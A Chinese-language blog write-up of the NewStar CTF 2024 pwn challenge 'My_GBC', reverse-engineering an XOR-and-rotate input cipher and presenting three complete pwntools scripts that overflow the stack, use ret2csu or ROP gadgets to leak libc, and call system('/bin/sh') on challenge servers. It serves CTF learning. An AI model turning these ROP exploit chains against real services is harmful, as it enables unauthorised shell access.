Week2_My_GBC

Week2_My_GBC

分析

安全策略

{97A28E25-D13A-4B97-B058-65A66DAB1097}

逆向分析

写入buf,输入buf,通过key对buf内容加密,输出加密后的buf,return 0,写入payload会被加密干扰

{B2ED54E2-4FEF-463C-98A2-31F4BD9A3288}

{C7AC980A-BB3A-4A98-9589-6EA552A214FF}

  • 对buf的内容的每位字节依次异或a2,然后循环左移3位
    • _BYTE:一种类型定义(通常为 unsigned charchar),表示该操作是针对 1 字节数据
    • 逻辑(无符号数)左移:SHL,右移:SHR
    • 算术(有符号数)左移:SAL,右移:SAR
    • 循环左移:ROL,右移:ROR

{E5B7813A-BB2F-4165-971E-119465E59C67}

  • 只需要payload循环右移3位然后依次异或a2,即可保持原payload执行

exp

注不是所有的C3都可以作为ret,只有位于代码段(通常位于.text段里面),这就是不能用的

Snipaste_2024-11-25_19-06-47

利用csu的泄露libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from ctypes import *
context(log_level = 'debug',arch = 'amd64')
flag = 1
if flag:
p = remote('192.168.65.1', 6666)
else:
p = process("./My_GBC")

def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()
key = 0x5a
def decrypt(payload):
p2 = b''
for v in payload:
v2 = (v>>3|v<<5)&0xff
p2 += bytes([v2^key])
return p2

elf = ELF('./My_GBC')
libc = ELF('./libc.so.6')
write_got = elf.got['write']
read_got = elf.got['read']
main = 0x40124C
rdi_ret = 0x4013B3
csu_1 = 0x4013AA
csu_2 = 0x401390
ret = 0x40139F

payload = flat([b'a'*0x18,csu_1,0,1,1,read_got,8,write_got,csu_2])+p64(0)*7+p64(main)
sa(b"something:",decrypt(payload))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['read']
system = libc_base + libc.sym['system']
#binsh = libc_base + next(libc.search("/bin/sh\x00"))
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
payload = b'a'*(0x18)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
sa(b"something:",decrypt(payload))
ti()

参考

官方wp

看完wp1后,才看懂官方,感觉官方的比较复杂

  • 第一步使用csu泄露read地址

  • 第二步使用csu,将payload1写入内存地址

  • 第三步使用csu,对齐栈,为了执行payload1中的syscall先

    • 使用payload1的一个栈帧跳过call的返回地址
  • 第四步使用csu执行内存地址的execve('/bin/sh\x00',0,0)

My_GBC!!!!! | WriteUp - NewStar CTF 2024

构造 ROP 链利用 CSU 初始化序列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import *
#基础配置
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]

#pwntools的API封装
def uu64(x): return u64(x.ljust(8, b'\x00'))
def s(x): return p.send(x)
def sa(x, y): return p.sendafter(x, y)
def sl(x): return p.sendline(x)
def sla(x, y): return p.sendlineafter(x, y)
def r(x): return p.recv(x)
def ru(x): return p.recvuntil(x)

k = 1
if k:
addr = ''
host = addr.split(':')
p = remote(host[0], host[1])
else:
p = process('./My_GBC')
elf = ELF('./My_GBC')
libc = ELF('./libc.so.6')

#对csu函数中的跳转进行调试
def debug():
gdb.attach(p, 'b *0x401399\nc\n')

#解密
def decrypt(data: bytes, key: int):
decrypted_data = bytearray()
for byte in data:
byte = ((byte >> 3) | (byte << 5)) & 0xFF
byte ^= key
decrypted_data.append(byte)
return decrypted_data

#csu函数下面pop先执行,命名为csu_1
def csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1):
#默认参数,当没有传入func值时默认为0
r12 = arg1#mov edi,r12d;高字节为00,不能用来存放地址
r13 = arg2
r14 = arg3
r15 = func
payload = p64(0x4013AA)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
return payload

#执行csu前面的mov与call,命名为csu_2
def csu_2():
payload = p64(0x401390)
return payload


add_rsp_8_ret = 0x401016
ret = 0x40101a
payload = b'a' * 0x18 + csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()
payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()
payload += csu_1(0, 0, 0, 0x404098) + csu_2() + p64(ret)
payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()
#后面两步这样融合,中间就可随便写个返回地址了
#payload += csu_1(0x4040A0, 0, 0, 0x404090) + p64(ret) + csu_2()

# debug()
ru(b'Input something:')
s(decrypt(payload, 90))
libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.read
success(f"libc_base --> 0x{libc_base:x}")
payload = p64(libc_base + libc.sym.system + 0x0) + p64(add_rsp_8_ret) + b'/bin/sh\x00'
s(payload)
p.interactive()

ret可以放到最后的csu_2前面,都是为了栈对齐

不能放在第二步的后面,由于需要7个参数来间隔返回地址,放在后面会被add rsp,8影响,这样的

官方是通过add rsp,8;ret才能放在最后的

wp1——通过ret2csu调用write泄露read地址

最容易想懂的一个wp

[NewStarCTF 2024 | Bosh’s Blog](https://z-bosh.github.io/2024/10/20/NewStarCTF 2024/)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
#from LibcSearcher import*
context(log_level = 'debug',arch = 'amd64',os='linux')
r=remote('192.168.65.1',6666)
#r=process('./1111')
elf=ELF('./My_GBC')
libc=ELF("./libc.so.6")

def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

#解密
def dec(data):
key = 0x5a
length = len(data)
decrypted = bytearray(data) # 将数据转换为可修改的字节数组
for i in range(length):
decrypted[i] = ((decrypted[i] >> 3) | (decrypted[i] << 5)) & 0xFF
decrypted[i] ^= key
return decrypted

csu_rear=0x4013AA
csu_head=0x401390
main_addr=0x40124C
pop_rdi=0x4013b3
ret_addr=0x40101a

payload =b'a'*(0x10+8)+ p64(csu_rear) + p64(0) + p64(1) + p64(1) + p64(elf.got['read']) + p64(8) + p64(elf.got['write'])+p64(csu_head)+p64(0)*7+p64(main_addr)
#print("解密后的数据:", dec(payload).decode('utf-8', errors='ignore'))
r.sendafter('something:',dec(payload))
libc_base=u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
payload1=b'a'*(0x10+8)+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
r.sendafter('something:',dec(payload1))
r.interactive()

call[r15+rbx*8]不需要手动在栈中添加返回地址,call会自己将返回地址压入栈中,只需要7个栈帧用来抵消add rsp,8与pop指令

wp2——利用已有资源泄露libc

[NewStar 2024] week2_newstar2024 week2-CSDN博客

每次只能泄露1字节(由于rdx等于1,且没pop rdx),泄露完libc就可以直接getshell

{ABF0FAB4-9866-4B61-9425-598A51361567}

Snipaste_2024-11-25_17-51-34

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = 0x00000000004013b3 # pop rdi ; ret
pop_rsi = 0x00000000004013b1 # pop rsi ; pop r15 ; ret

def enc(pay):
p2 = b''
for v in pay:
v2 = ((v>>3)|(v<<5))&0xff
p2 += bytes([v2^0x5a])
return p2

#p = process('./vuln')
#gdb.attach(p, "b*0x401343\nc")
p = remote('101.200.139.65', 39155)

pay = b'\0'*0x18
for i in range(6):
pay += flat(pop_rdi,1,pop_rsi,elf.got['write']+i, 0, elf.plt['write'])

pay += p64(elf.sym['main'])

p.sendafter(b"Input something: \0O", enc(pay))

p.recvline()
p.recvline()
libc.address = u64(p.recv(6)+b'\0\0') - libc.sym['write']
bin_sh = next(libc.search(b'/bin/sh\0'))
print(f"{libc.address = :x}")

pay = b'\0'*0x18 + flat(pop_rdi, bin_sh, libc.sym['system'])
p.sendafter(b"Input something: \0O", enc(pay))

p.interactive()
  • 使用r15只是由于rsi与r15绑定了,随便给r15赋个值

ret2csu学习

关于ret2csu的学习总结 | ZIKH26’s Blog


Week2_My_GBC
http://sh1j1.github.io/2024/11/25/Week2-My-GBC/
作者
sh1j1
发布于
2024年11月25日
许可协议